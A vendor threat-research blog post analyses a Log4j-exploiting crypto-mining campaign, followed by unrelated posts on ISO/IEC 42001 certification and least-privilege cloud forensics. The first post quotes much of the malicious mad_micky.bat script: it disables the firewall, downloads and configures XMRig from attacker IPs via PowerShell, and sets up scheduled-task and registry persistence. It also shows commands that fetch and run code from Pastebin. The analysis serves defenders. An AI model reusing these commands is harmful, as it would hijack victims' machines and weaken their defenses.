Blog
/
Network
/
April 3, 2022

Analyzing Log4j Vulnerability in Crypto Mining Attack

Discover how Darktrace detected a campaign-like pattern that used the Log4j vulnerability for crypto-mining across multiple customers.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Hanah Darley
Director of Threat Research
Written by
Steve Robinson
Principal Consultant for Threat Detection
Written by
Ross Ellis
Principal Cyber Analyst
Default blog imageDefault blog imageDefault blog imageDefault blog imageDefault blog imageDefault blog image
03
Apr 2022

Background on Log4j

On December 9 2021, the Alibaba Cloud Security Team publicly disclosed a critical vulnerability (CVE-2021-44228) enabling unauthenticated remote code execution against multiple versions of Apache Log4j2 (Log4Shell). Vulnerable servers can be exploited by attackers connecting via any protocol such as HTTPS and sending a specially crafted string.

Log4j crypto-mining campaign

Darktrace detected crypto-mining on multiple customer deployments which occurred as a result of exploiting this Log4j vulnerability. In each of these incidents, exploitation occurred via outbound SSL connections which appear to be requests for base64-encoded PowerShell scripts to bypass perimeter defenses and download batch (.bat) script files, and multiple executables that install crypto-mining malware. The activity had wider campaign indicators, including common hard-coded IPs, executable files, and scripts.

The attack cycle begins with what appears to be opportunistic scanning of Internet-connected devices looking for VMWare Horizons servers vulnerable to the Log4j exploit. Once a vulnerable server is found, the attacker makes HTTP and SSL connections to the victim. Following successful exploitation, the server performs a callback on port 1389, retrieving a script named mad_micky.bat. This achieves the following:

  • Disables Windows firewall by setting all profiles to state=off
    ‘netsh advfirewall set allprofiles state off’
  • Searches for existing processes that indicate other miner installs using ‘netstat -ano | findstr TCP’ to identify any process operating on ports :3333, :4444, :5555, :7777, :9000 and stop the processes running
  • A new webclient is initiated to silently download wxm.exe
  • Scheduled tasks are used to create persistence. The command ‘schtasks /create /F /sc minute /mo 1 /tn –‘ schedules a task and suppresses warnings, the task is to be scheduled within a minute of command and given the name, ‘BrowserUpdate’, pointing to malicious domain, ‘b.oracleservice[.]top’ and hard-coded IP’s: 198.23.214[.]117:8080 -o 51.79.175[.]139:8080 -o 167.114.114[.]169:8080
  • Registry keys are added in RunOnce for persistence: reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Run2 /d

In at least two cases, the mad_micky.bat script was retrieved in an HTTP connection which had the user agent Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Win64; x64; Trident/6.0; MAARJS). This was the first and only time this user agent was seen on these networks. It appears this user agent is used legitimately by some ASUS devices with fresh factory installs; however, as a new user agent only seen during this activity it is suspicious.

Following successful exploitation, the server performs a callback on port 1389, to retrieve script files. In this example, /xms.ps1 a base-64 encoded PowerShell script that bypasses execution policy on the host to call for ‘mad_micky.bat’:

Figure 1: Additional insight on PowerShell script xms.ps1

The snapshot details the event log for an affected server and indicates successful Log4j RCE that resulted in the mad_micky.bat file download:

Figure 2: Log data highlighting mad_micky.bat file

Additional connections were initiated to retrieve executable files and scripts. The scripts contained two IP addresses located in Korea and Ukraine. A connection was made to the Ukrainian IP to download executable file xm.exe, which activates the miner. The miner, XMRig Miner (in this case) is an open source, cross-platform mining tool available for download from multiple public locations. The next observed exe download was for ‘wxm.exe’ (f0cf1d3d9ed23166ff6c1f3deece19b4).

Figure 3: Additional insight regarding XMRig executable

The connection to the Korean IP involved a request for another script (/2.ps1) as well as an executable file (LogBack.exe). This script deletes running tasks associated with logging, including SCM event log filter or PowerShell event log consumer. The script also requests a file from Pastebin, which is possibly a Cobalt Strike beacon configuration file. The log deletes were conducted through scheduled tasks and WMI included: Eventlogger, SCM Event Log Filter, DSM Event Log Consumer, PowerShell Event Log Consumer, Windows Events Consumer, BVTConsumer.

  • Config file (no longer hosted): IEX (New-Object System.Net.Webclient) DownloadString('hxxps://pastebin.com/raw/g93wWHkR')

The second file requested from Pastebin, though no longer hosted by Pastebin, is part of a schtasks command, and so probably used to establish persistence:

  • schtasks /create /sc MINUTE /mo 5 /tn  "\Microsoft\windows\.NET Framework\.NET Framework NGEN v4.0.30319 32" /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''hxxps://pastebin.com/raw/bcFqDdXx'''))'"  /F /ru System

The executable file Logback.exe is another XMRig mining tool. A config.json file was also downloaded from the same Korean IP. After this cmd.exe and wmic commands were used to configure the miner.

These file downloads and miner configuration were followed by additional connections to Pastebin.

Figure 4: OSINT correlation of mad_micky.bat file[1]

Process specifics — mad_micky.bat file

Install

set “STARTUP_DIR=%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup”
set “STARTUP_DIR=%USERPROFILE%\Start Menu\Programs\Startup”

looking for the following utilities: powershell, find, findstr, tasklist, sc
set “LOGFILE=%USERPROFILE%\mimu6\xmrig.log”
if %EXP_MONER_HASHRATE% gtr 8192 ( set PORT=18192 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 4096 ( set PORT=14906 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 2048 ( set PORT=12048 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 1024 ( set PORT=11024 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 512 ( set PORT=10512 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 256 ( set PORT=10256 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 128 ( set PORT=10128 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 64 ( set PORT=10064 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 32 ( set PORT=10032 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 16 ( set PORT=10016 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 8 ( set PORT=10008 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 4 ( set PORT=10004 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 2 ( set PORT=10002 & goto PORT_OK)
set port=10001

Preparing miner

echo [*] Removing previous mimu miner (if any)
sc stop gado_miner
sc delete gado_miner
taskkill /f /t /im xmrig.exe
taskkill /f /t/im logback.exe
taskkill /f /t /im network02.exe
:REMOVE_DIR0
echo [*] Removing “%USERPROFILE%\mimu6” directory
timeout 5
rmdir /q /s “USERPROFILE%\mimu6” >NUL 2>NUL
IF EXIST “%USERPROFILE%\mimu6” GOTO REMOVE_DIR0

Download of XMRIG

echo [*] Downloading MoneroOcean advanced version of XMRig to “%USERPROFILE%\xmrig.zip”
powershell -Command “$wc = New-Object System.Net.WebClient; $wc.DownloadFile(‘http://141.85.161[.]18/xmrig.zip’, ;%USERPROFILE%\xmrig.zip’)”
echo copying to mimu directory
if errorlevel 1 (
echo ERROR: Can’t download MoneroOcean advanced version of xmrig
goto MINER_BAD)

Unpack and install

echo [*] Unpacking “%USERPROFILE%\xmrig.zip” to “%USERPROFILE%\mimu6”
powershell -Command “Add-type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory(‘%USERPROFILE%\xmrig.zip’, ‘%USERPROFILE%\mimu6’)”
if errorlevel 1 (
echo [*] Downloading 7za.exe to “%USERPROFILE%\7za.exe”
powershell -Command “$wc = New-Object System.Net.WebClient; $wc.Downloadfile(‘http://141.85.161[.]18/7za.txt’, ‘%USERPROFILE%\7za.exe’”

powershell -Command “$out = cat ‘%USERPROFILE%\mimu6\config.json’ | %%{$_ -replace ‘\”url\”: *\”.*\”,’, ‘\”url\”: \”207.38.87[.]6:3333\”,’} | Out-String; $out | Out-File -Encoding ASCII ‘%USERPROFILE%\mimu6\config.json’”
powershell -Command “$out = cat ‘%USERPROFILE%\mimu6\config.json’ | %%{$_ -replace ‘\”user\”: *\”.*\”,’, ‘\”user\”: \”%PASS%\”,’} | Out-String; $out | Out-File -Encoding ASCII ‘%USERPROFILE%\mimu6\config.json’”
powershell -Command “$out = cat ‘%USERPROFILE%\mimu6\config.json’ | %%{$_ -replace ‘\”pass\”: *\”.*\”,’, ‘\”pass\”: \”%PASS%\”,’} | Out-String; $out | Out-File -Encoding ASCII ‘%USERPROFILE%\mimu6\config.json’”
powershell -Command “$out = cat ‘%USERPROFILE%\mimu6\config.json’ | %%{$_ -replace ‘\”max-cpu-usage\”: *\d*,’, ‘\”max-cpu-usage\”: 100,’} | Out-String; $out | Out-File -Encoding ASCII ‘%USERPROFILE%\mimu6\config.json’”
set LOGFILE2=%LOGFILE:\=\\%
powershell -Command “$out = cat ‘%USERPROFILE%\mimu6\config.json’ | %%{$_ -replace ‘\”log-file\”: *null,’, ‘\”log-file\”: \”%LOGFILE2%\”,’} | Out-String; $out | Out-File -Encoding ASCII ‘%USERPROFILE%\mimu6\config.json’”
if %ADMIN% == 1 goto ADMIN_MINER_SETUP

if exist “%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup” (
set “STARTUP_DIR=%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup”
goto STARTUP_DIR_OK
)
if exist “%USERPROFILE%\Start Menu\Programs\Startup” (
set “STARTUP_DIR=%USERPROFILE%\Start Menu\Programs\Startup”
goto STARTUP_DIR_OK
)
echo [*] Downloading tools to make gado_miner service to “%USERPROFILE%\nssm.zip”
powershell -Command “$wc = New-Object System.Net.WebClient; $wc.DownloadFile(‘[http://141.85.161[.]18/nssm.zip’, ‘%USERPROFILE%\nssm.zip’)”
if errorlevel 1 (
echo ERROR: Can’t download tools to make gado_miner service
exit /b 1

Detecting the campaign using Darktrace

The key model breaches Darktrace used to identify this campaign include compromise-focussed models for Application Protocol on Uncommon Port, Outgoing Connection to Rare From Server, and Beaconing to Rare Destination. File-focussed models for Masqueraded File Transfer, Multiple Executable Files and Scripts from Rare Locations, and Compressed Content from Rare External Location. Cryptocurrency mining is detected under the Cryptocurrency Mining Activity models.

The models associated with Unusual PowerShell to Rare and New User Agent highlight the anomalous connections on the infected devices following the Log4j callbacks.

Customers with Darktrace’s Autonomous Response technology, Antigena, also had actions to block the incoming files and scripts downloaded and restrict the infected devices to normal pattern of life to prevent both the initial malicious file downloads and the ongoing crypto-mining activity.

Appendix

Darktrace model detections

  • Anomalous Connection / Application Protocol on Uncommon Port
  • Anomalous Connection / New User Agent to IP Without Hostname
  • Anomalous Connection / PowerShell to Rare External
  • Anomalous File / EXE from Rare External location
  • Anomalous File / Masqueraded File Transfer
  • Anomalous File / Multiple EXE from Rare External Locations
  • Anomalous File / Script from Rare External Location
  • Anomalous File / Zip or Gzip from Rare External Location
  • Anomalous Server Activity / Outgoing from Server
  • Compliance / Crypto Currency Mining Activity
  • Compromise / Agent Beacon (Long Period)
  • Compromise / Agent Beacon (Medium Period)
  • Compromise / Agent Beacon (Short Period)
  • Compromise / Beacon to Young Endpoint
  • Compromise / Beaconing Activity To External Rare
  • Compromise / Crypto Currency Mining Activity
  • Compromise / Sustained TCP Beaconing Activity To Rare Endpoint
  • Device / New PowerShell User Agent
  • Device / Suspicious Domain

MITRE ATT&CK techniques observed

IoCs

For Darktrace customers who want to find out more about Log4j detection, refer here for an exclusive supplement to this blog.

Footnotes

1. https://www.virustotal.com/gui/file/9e3f065ac23a99a11037259a871f7166ae381a25eb3f724dcb034225a188536d

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Hanah Darley
Director of Threat Research
Written by
Steve Robinson
Principal Consultant for Threat Detection
Written by
Ross Ellis
Principal Cyber Analyst

More in this series

No items found.

Blog

/

/

August 13, 2025

ISO/IEC 42001: 2023: A milestone in AI standards at Darktrace  

ISO/IEC 42001 complianceDefault blog imageDefault blog image

Darktrace announces ISO/IEC 42001 accreditation

Darktrace is thrilled to announce that we are one of the first cybersecurity companies to achieve ISO/IEC 42001 accreditation for the responsible management of AI systems. This isn’t just a milestone for us, it’s a sign of where the AI industry is headed. ISO/IEC 42001 is quickly emerging as the global benchmark for separating vendors who truly innovate with AI from those who simply market it.

For customers, it’s more than a badge, it’s assurance that a vendor’s AI is built responsibly, governed with rigor, and backed by the expertise of real AI teams, keeping your data secure while driving meaningful innovation.

This is a critical milestone for Darktrace as we continue to strengthen our offering, mature our governance and compliance frameworks for AI management, expand our research and development capabilities, and further our commitment to the development of responsible AI.  

It cements our commitment to providing secure, trustworthy and proactive cybersecurity solutions that our customers can rely on and complements our existing compliance framework, consisting of certifications for:

  • ISO/IEC 27001:2022 – Information Security Management System
  • ISO/IEC 27018:2019 – Protection of Personally Identifiable Information in Public Cloud Environments
  • Cyber Essentials – A UK Government-backed certification scheme for cybersecurity baselines

What is ISO/IEC 42001:2023?

In response to the unique challenges that AI poses, the International Organization for Standardization (ISO) introduced the ISO/IEC 42001:2023 framework in December 2023 to help organizations providing or utilizing AI-based products or services to demonstrate responsible development and use of AI systems. To achieve the accreditation, organizations are required to establish, implement, maintain, and continually improve their Artificial Intelligence Management System (AIMS).

ISO/IEC 42001:2023 is the first of its kind, providing valuable guidance for this rapidly changing field of technology. It addresses the unique ethical and technical challenges AI poses by setting out a structured way to manage risks such as transparency, accuracy and misuse without losing opportunities. By design, it balances the benefits of innovation against the necessity of a proper governance structure.

Being certified means the organization has met the requirements of the ISO/IEC 42001 standard, is conforming to all applicable regulatory and legislative requirements, and has implemented thorough processes to address AI risks and opportunities.

What is the  ISO/IEC 42001:2023 accreditation process?

Darktrace partnered with BSI over an 11-month period to undertake the accreditation. The process involved developing and implementing a comprehensive AI management system that builds on our existing certified frameworks, addresses the risks and opportunities of using and developing cutting-edge AI systems, underpins our AI objectives and policies, and meets our regulatory and legal compliance requirements.

The AI Management System, which takes in our people, processes, and products, was extensively audited by BSI against the requirements of the standard, covering all aspects spanning the design of our AI, use of AI within the organization, and our competencies, resources and HR processes. It is an in-depth process that we’re thrilled to have undertaken, making us one of the first in our industry to achieve certification for a globally recognized AI system.

The scope of Darktrace’s certification is particularly wide due to our unique Self-Learning approach to AI for cybersecurity, which uses multi-layered AI systems consisting of varied AI techniques to address distinct cybersecurity tasks. The certification encompasses production and provision of AI systems based on anomaly detection, clustering, classifiers, regressors, neural networks, proprietary and third-party large language models for proactive, detection, response and recovery cybersecurity applications. Darktrace additionally elected to adopt all Annex A controls present in the ISO/IEC 42001 standard.

What are the benefits of an AI Management System?

While AI is not a new or novel concept, the AI industry has accelerated at an unprecedented rate in the past few years, increasing operational efficiency, driving innovation, and automating cumbersome processes in the workplace.

At the same time, the data privacy, security and bias risks created by rapid innovation in AI have been well documented.

Thus, an AI Management System enables organizations to confidently establish and adhere to governance in a way that conforms to best practice, promotes adherence, and is in line with current and emerging regulatory standards.

Not only is this vital in a unique and rapidly evolving field like AI, it additionally helps organization’s balance the drive for innovation with the risks the technology can present, helping to get the best out of their AI development and usage.

What are the key components of ISO/IEC 42001?

The Standard puts an emphasis on responsible AI development and use, requiring organizations to:

  • Establish and implement an AI Management System
  • Commit to the responsible development of AI against established, measurable objectives
  • Have in place a process to manage, monitor and adapt to risks in an effective manner
  • Commit to continuous improvement of their AI Management System

The AI Standard is similar in composition to other ISO standards, such as ISO/IEC 27001:2022, which many organizations may already be familiar with. Further information as to the structure of ISO/IEC 42001 can be found in Annex A.

What it means for Darktrace’s customers

Our certification against ISO/IEC 42001 demonstrates Darktrace’s commitment to delivering industry-leading Self-Learning AI in the name of cybersecurity resilience. Our stakeholders, customers and partners can be confident that Darktrace is responsibly, ethically and securely developing its AI systems, and is managing the use of AI in our day-to-day operations in a compliant, secure and ethical manner. It means:

  • You can trust our AI: We can demonstrate our AI is developed responsibly, in a transparent manner and in accordance with ethical rules. For more information and to learn about Darktrace's responsible AI in cybersecurity approach, please see here.
  • Our products are backed by innovation and integrity: Darktrace drives cutting edge AI innovation with ethical governance and customer trust at its core.
  • You are partnering with an organization which stays ahead of regulatory changes: In an evolving AI landscape, partnering with Darktrace helps you to stay prepared for emerging compliance and regulatory demands in your supply chain.

Achieving ISO/IEC 42001:2023 certification is not just a checkpoint for us. It represents our unwavering commitment to setting a higher standard for AI in cybersecurity. It reaffirms our leadership in building and implementing responsible AI and underscores our mission to continuously innovate and lead the way in the industry.

Why ISO/IEC 42001 matters for every AI vendor you trust

In a market where “AI” can mean anything from a true, production-grade system to a thin marketing layer, ISO/IEC 42001 acts as a critical differentiator. Vendors who have earned this certification aren’t just claiming they build responsible AI, they’ve proven it through an independent, rigorous audit of how they design, deploy, and manage their systems.

For you as a customer, that means:

You know their AI is real: Certified vendors have dedicated, skilled AI teams building and maintaining systems that meet measurable standards, not just repackaging off-the-shelf tools with an “AI” label.

Your data is safeguarded: Compliance with ISO/IEC 42001 includes stringent governance over data use, bias, transparency, and risk management.

You’re partnering with innovators: The certification process encourages continuous improvement, meaning your vendor is actively advancing AI capabilities while keeping ethics and security in focus.

In short, ISO/IEC 42001 is quickly becoming the global badge of credible AI development. If your vendor can’t show it, it’s worth asking how they manage AI risk, whether their governance is mature enough, and how they ensure innovation doesn’t outpace accountability.

Annex A: The Structure of ISO/IEC 42001

ISO/IEC 42001 has requirements for which seven adherence is required for an organization seeking to obtain or maintain its certification:

  • Context of the organization – organizations need to demonstrate an understanding of the internal and external factors influencing the organization’s AI Management System.
  • Leadership – senior leadership teams need to be committed to implementing AI governance within their organizations, providing direction and support across all aspects AI Management System lifecycle.
  • Planning – organizations need to put meaningful and manageable processes in place to identify risks and opportunities related to the AI Management System to achieve responsible AI objectives and mitigate identified risks.
  • Support – demonstrating a commitment to provisioning of adequate resources, information, competencies, awareness and communication for the AI Management System is a must to ensure that proper oversight and management of the system and its risks can be achieved.
  • Operation – establishing processes necessary to support the organization’s AI system development and usage, in conformance with the organization’s AI policy, objectives and requirements of the standard. Correcting the course of any deviations within good time is paramount.
  • Performance evaluation – the organization must be able to demonstrate that it has the capability and willingness to regularly monitor and evaluate the performance of the AI Management System effectively, including actioning any corrections and introducing new processes where relevant.
  • Improvement – relying on an existing process will not be sufficient to ensure compliance with the AI Standard. Organizations must commit to monitoring of existing systems and processes to ensure that the AI Management System is continually enhanced and improved.

To assist organizations in seeking the above, four annexes are included within the AI Standard’s rubric, which outline the objectives and measures an organization may wish to implement to address risks related to the design and operation of their AI Management System through the introduction of normative controls. Whilst they are not prescriptive, Darktrace has implemented the requirements of these Annexes to enable it to appropriately demonstrate the effectiveness of its AI Management System. We have placed a heavy emphasis on Annex A which contains these normative controls which we, and other organizations seeking to achieve certification, can align with to address the objectives and measures, such as:

  • Enforcement of policies related to AI.
  • Setting responsibilities within the organization, and expectation of roles and responsibilities.
  • Creating processes and guidelines for escalating and handling AI concerns.
  • Making resources for AI systems available to users.
  • Assessing impacts of AI systems internally and externally.
  • Implementing processes across the entire AI system life cycle.
  • Understanding treatment of Data for AI systems.
  • Defining what information is, and should be available, for AI systems.
  • Considering and defining use cases for the AI systems.
  • Considering the impact of the AI System on third-party and customer relationships.

The remaining annexes provide guidance on implementing Annex A’s controls, objectives and primary risk sources of AI implementation, and considering how the AI Management System can be used across domains or sectors responsibly.

[related-resource]

Continue reading
About the author

Blog

/

/

August 12, 2025

Minimizing Permissions for Cloud Forensics: A Practical Guide to Tightening Access in the Cloud

Cloud permissions cloud forensicsDefault blog imageDefault blog image

Most cloud environments are over-permissioned and under-prepared for incident response.

Security teams need access to logs, snapshots, and configuration data to understand how an attack unfolded, but giving blanket access opens the door to insider threats, misconfigurations, and lateral movement.

So, how do you enable forensics without compromising your security posture?

The dilemma: balancing access and security

There is a tension between two crucial aspects of cloud security that create a challenge for cloud forensics.

One aspect is the need for Security Operations Center (SOC) and Incident Response (IR) teams to access comprehensive data for investigating and resolving security incidents.

The other conflicting aspect is the principle of least privilege and minimal manual access advocated by cloud security best practices.

This conflict is particularly pronounced in modern cloud environments, where traditional physical access controls no longer apply, and infrastructure-as-code and containerization have transformed the landscape.

There are several common but less-than-ideal approaches to this challenge:

  • Accepting limited data access, potentially leaving incidents unresolved
  • Granting root-level access during major incidents, risking further compromise

Relying on cloud or DevOps teams to retrieve data, causing delays and potential miscommunication

[related-resource]

Challenges in container forensics

Containers present unique challenges for forensic investigations due to their ephemeral and dynamic nature. The orchestration and management of containers, whether on private clusters or using services like AWS Elastic Kubernetes Service (EKS), introduce complexities in capturing and analyzing forensic data.

To effectively investigate containers, it's often necessary to acquire the underlying volume of a node or perform memory captures. However, these actions require specific Identity and Access Management (IAM) and network access to the node, as well as familiarity with the container environment, which may not always be straightforward.

An alternative method of collection in containerized environments is to utilize automated tools to collect this evidence. Since they can detect malicious activity and collect relevant data without needing human input, they can act immediately, securing evidence that might be lost by the time a human analyst is available to collect it manually.

Additionally, automation can help significantly with access and permissions. Instead of analysts needing the correct permissions for the account, service, and node, as well as deep knowledge of the container service itself, for any container from which they wish to collect logs. They can instead collect them, and have them all presented in one place, at the click of a button.

A better approach: practical strategies for cloud forensics

It's crucial to implement strategies that strike a balance between necessary access and stringent security controls.

Here are several key approaches:

1. Dedicated cloud forensics accounts

Establishing a separate cloud account or subscription specifically for forensic activities is foundational. This approach isolates forensic activities from regular operations, preventing potential contamination from compromised environments. Dedicated accounts also enable tighter control over access policies, ensuring that forensic operations do not inadvertently expose sensitive data to unauthorized users.

A separate account allows for:

  • Isolation: The forensic investigation environment is isolated from potentially compromised environments, reducing the risk of cross-contamination.
  • Tighter access controls: Policies and controls can be more strictly enforced in a dedicated account, reducing the likelihood of unauthorized access.
  • Simplified governance: A clear and simplified chain of custody for digital evidence is easier to maintain, ensuring that forensic activities meet legal and regulatory requirements.

For more specifics:

2. Cross-account roles with least privilege

Using cross-account IAM roles, the forensics account can access other accounts, but only with permissions that are strictly necessary for the investigation. This ensures that the principle of least privilege is upheld, reducing the risk of unauthorized access or data exposure during the forensic process.

3. Temporary credentials for just-in-time access

Leveraging temporary credentials, such as AWS STS tokens, allows for just-in-time access during an investigation. These credentials are short-lived and scoped to specific resources, ensuring that access is granted only when absolutely necessary and is automatically revoked after the investigation is completed. This reduces the window of opportunity for potential attackers to exploit elevated permissions.

For AWS, you can use commands such as:

aws sts get-session-token --duration-seconds 43200

aws sts assume-role --role-arn role-to-assume --role-session-name "sts-session-1" --duration-seconds 43200

For Azure, you can use commands such as:

az ad app credential reset --id <appId> --password <sp_password> --end-date 2024-01-01

For more details for Google Cloud environments, see “Create short-lived credentials for a service account” and the request.time parameter.

4. Tag-based access control

Pre-deploying access control based on resource tags is another effective strategy. By tagging resources with identifiers like "Forensics," access can be dynamically granted only to those resources that are relevant to the investigation. This targeted approach minimizes the risk of overexposure and ensures that forensic teams can quickly and efficiently access the data they need.

For example, in AWS:

Condition: StringLike: aws:ResourceTag/Name: ForensicsEnabled

Condition: StringLike: ssm:resourceTag/SSMEnabled: True

For example, in Azure:

"Condition": "StringLike(Resource[Microsoft.Resources/tags.example_key], '*')"

For example, in Google Cloud:

expression: > resource.matchTag('tagKeys/ForensicsEnabled', '*')

Tighten access, enhance security

The shift to cloud environments demands a rethinking of how we approach forensic investigations. By implementing strategies like dedicated cloud forensic accounts, cross-account roles, temporary credentials, and tag-based access control, organizations can strike the right balance between access and security. These practices not only enhance the effectiveness of forensic investigations but also ensure that access is tightly controlled, reducing the risk of exacerbating an incident or compromising the investigation.

Find the right tools for your cloud security

Darktrace delivers a proactive approach to cyber resilience in a single cybersecurity platform, including cloud coverage.

Darktrace’s cloud offerings have been bolstered with the acquisition of Cado Security Ltd., which enables security teams to gain immediate access to forensic-level data in multi-cloud, container, serverless, SaaS, and on-premises environments.

In addition to having these forensics capabilities, Darktrace / CLOUD is a real-time Cloud Detection and Response (CDR) solution built with advanced AI to make cloud security accessible to all security teams and SOCs. By using multiple machine learning techniques, Darktrace brings unprecedented visibility, threat detection, investigation, and incident response to hybrid and multi-cloud environments.

Continue reading
About the author
Your data. Our AI.
Elevate your network security with Darktrace AI